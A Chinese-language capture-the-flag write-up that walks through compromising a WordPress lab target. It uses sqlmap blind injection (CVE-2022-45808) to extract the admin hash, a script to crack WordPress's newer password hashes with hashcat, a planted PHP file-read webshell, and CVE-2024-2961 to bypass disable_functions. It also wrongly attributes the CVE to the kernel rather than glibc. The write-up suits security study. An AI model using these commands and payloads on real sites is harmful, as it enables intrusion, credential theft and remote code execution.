wordpress CVE 拿到admin哈希

靶机是一个经典的wordpress,这里可以考虑直接用nuclei或者wpscan扫一下看看有没有现成的CVE.
nuclei --target http://node2.anna.nssctf.cn:29462/ -tags wordpress
有一个SQL注入漏洞CVE-2022-45808,直接上github上找一下pochttps://github.com/RandomRobbieBF/CVE-2022-45808 这个直接给了sqlmap的注入方式.
不过可能是远程靶机延迟的原因,毕竟这个是盲注,上面给的poc 有时候sqlmap跑不出来,我们可以看一下nuclei的poc模版,然后让sqlmap指定参数去跑就行
sqlmap -u 'http://node2.anna.nssctf.cn:29462/wp-json/lp/v1/courses/archive-course' --data='c_search=X&order_by=ID&order=DESC&limit=10&return_type=html' --level=5 --risk=3 --dbms='MySQL ' --sql-query "select user_pass from wp_users where id = 1" -p order_by -time-sec 2 --technique=T看情况可能需要花一些时间

拿到admin的哈希
$wp$2y$10$UleD4hOVFm.9tawvyBcW5Oa7S0e5/LPaqCB9PnayZL9ipkKddTa8ehashcat爆破拿到明文密码
然后附件给了字典,大概30万个,描述中说要清洗一下
sort pass.txt | uniq > newpass.txt //会先排序再去重
或者
awk '!seen[$0]++' pass.txt > newpass.txt //直接进行顺序去重清洗完后剩下10万条,可以考虑用hashcat爆破,不过目前hashcat没有专门针对wordpress新版本的哈希模式,我们先看看新版本的wordpress的密码哈希是怎么进行计算的,在源码中找到这个wp_hash_password函数.

大概意思就是wordpress会将输入的明文密码进行前置预处理,先用HMAC-SHA384 秘钥为“wp-sha384” 进行哈希计算然后再base64一遍,最后才是经过Bcrypt算法来算出最后的哈希
这里可以直接把这整个函数复制给AI 然后让他帮你写一个转换的脚本出来,把明文转换成wordpress前置预处理后的编码内容,然后再让hashcat用3200的Bcrypt模式爆破admin的哈希
import hmac
import hashlib
import base64
import sys
def transform_password(password):
# 按照 WordPress 源码逻辑:
# 1. trim (去除前后空格)
password = password.strip()
# 2. HMAC-SHA384 处理,密钥为 'wp-sha384',输出原始二进制
hmac_key = b'wp-sha384'
hmac_res = hmac.new(
hmac_key,
password.encode('utf-8'),
hashlib.sha384
).digest()
# 3. Base64 编码并转为字符串
return base64.b64encode(hmac_res).decode('utf-8')
def main(input_file, output_file):
try:
with open(input_file, 'r', encoding='utf-8', errors='ignore') as fin, \
open(output_file, 'w', encoding='utf-8') as fout:
print(f"[*] 正在处理: {input_file} ...")
count = 0
for line in fin:
plain = line.strip()
if not plain:
continue
# 转换密码
transformed = transform_password(plain)
fout.write(transformed + '\n')
count += 1
if count % 100000 == 0:
print(f"[+] 已处理 {count} 条密码...")
print(f"[!] 转换完成!输出文件: {output_file}")
print(f"[!] 总计处理: {count} 条记录")
except FileNotFoundError:
print("错误:找不到输入文件。")
except Exception as e:
print(f"发生错误: {e}")
if __name__ == "__main__":
if len(sys.argv) < 3:
print("用法: python3 wp_transform.py <原始字典.txt> <转换后字典.txt>")
else:
main(sys.argv[1], sys.argv[2])这里已经准备好了hash(admin哈希)
需要去掉前面的$wp才符合格式
$2y$10$UleD4hOVFm.9tawvyBcW5Oa7S0e5/LPaqCB9PnayZL9ipkKddTa8e转换后的字典hash.txt,用hashcat进行爆破
hashcat -m 3200 hash hash.txt
在第15000个,找一下明文的15000个,看来这个站长也是饿了🥵
wordpress管理员后台插件rce 吗?🧐
用爆破出来的明文进后台,发现用wordpress的各种rce姿势都不行,这个屑站长直接给管理主题和插件的目录都设置了可读不可写,太坏了.这种估计就是做前端站,比如说一些学校、企业的官网,不需要太多用户交互的功能在站搭好后就直接给目录锁了,就算通过什么手段进入了后台也很难实现rce,毕竟wordpress的洞特别多,特别是SQL的,然后管理员要么没有相关技术储备,要么很久不上线,导致很多插件漏洞出现的时候都难以实时更新.不过在已安装插件的地方发现了一个未被启用的插件Insert PHP Code Snippet

这个插件可以实现rce 的,应该是管理员之前为了实现某些功能留下的没删.启用一下



测试发现可以执行代码,不过要rce的话还有第二关
CVE-2024-2961 绕过disable_function
发现很多rce的函数和操作都实现不了,猜测是有disable_functions

PHP8版本还有点高,测试发现蚁剑插件的所有操作都不行

其中这个concat_function 应该是可以的,不过站长也是个聪明人,把插件默认脚本里面的一些常见函数也禁了,导致这个绕过直接梭是不行的
disable_functions = dl,exec,system,passthru,popen,proc_open,pcntl_exec,shell_exec,mail,imap_open,imap_mail,putenv,apache_setenv,symlink,link,phpinfo,set_error_handler,pack这里直接在插件里面注入以下php代码,然后用exp跑,需要下载pwntools库,有时候可能会炸,多执行几次就行
<?php
$a = file_get_contents($_POST[1]);
echo "File Contents:"." ".$a;

这里可以通过盲注的一些手段查看根目录,发现需要执行/readflag 才能读到flag.
关于CVE-2024-2961
在CTF比赛中去年考的挺多的,不过没看到考绕过disable_function的(可能是因为我做题少),这个CVE绕过disable_function还是特别方便的,只要满足GLIBC<2.39 ,目前官方镜像FROM php:8.0-apache 是还没有修复的,之前版本的更不用说,然后给一个file_get_contents函数就能够实现rce,大部分的PHP网站对于file_get_contents 这个函数都是不会禁用的,或多或少都会用的到.这个CVE的话跟PHP版本无关,只跟内核版本有关,所以说基本上可以是全版本绕过只要是用的glibc .